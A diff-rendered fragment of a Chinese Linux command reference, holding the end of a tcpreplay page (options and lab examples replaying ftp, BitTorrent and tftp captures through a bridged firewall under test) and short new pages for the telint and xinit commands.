-m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
|
||||
-M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
|
||||
-n 在使用-S参数,不对混杂模式进行侦听。
|
||||
-N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
|
||||
-O 没有测试使用。
|
||||
-p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
|
||||
-P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
|
||||
-r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
|
||||
-R 让网卡极限速度发数据包。
|
||||
-t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。
|
||||
-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
|
||||
-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
|
||||
-V 查看版本号。
|
||||
-w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
|
||||
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
**1、重放在客户端 ftp 连接的报文 **
|
||||
|
||||
a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。
|
||||
|
||||
b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v
|
||||
```
|
||||
|
||||
c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v
|
||||
```
|
||||
|
||||
-R 参数表示全速发送,-v 显示打印信息。
|
||||
|
||||
**2、重放在客户端 BT 连接的报文 **
|
||||
|
||||
a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。
|
||||
|
||||
b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v
|
||||
```
|
||||
|
||||
制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。
|
||||
|
||||
c、使用 tcpreplay 重放报文。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R
|
||||
```
|
||||
|
||||
**3、重放 tftp 服务器上抓到的报文 **
|
||||
|
||||
a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。
|
||||
|
||||
b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v
|
||||
```
|
||||
|
||||
注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文,结果在网卡发送报文的后,DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还 以为 udp 的连接不能重放。
|
||||
|
||||
c、使用 tcpreplay 重放报文。
|
||||
|
||||
```
|
||||
[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
telint
|
||||
===
|
||||
|
||||
切换当前正在运行系统的运行等级
|
||||
|
||||
## 补充说明
|
||||
|
||||
**telint命令** 用于切换当前正在运行的Linux系统的运行等级。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
telint(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-t:指定等待的秒数。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
运行等级:指定要切换的运行等级。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
xinit
|
||||
===
|
||||
|
||||
是Linux下X-Window系统的初始化程序
|
||||
|
||||
## 补充说明
|
||||
|
||||
**xinit命令** 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
xinit(参数)
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
* 客户端选项:客户端指令及选项;
|
||||
* --:用于区分客户端选项和服务器端选项;
|
||||
* 服务器端选项:服务器端选项指令及选项。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
Loading…
Reference in New Issue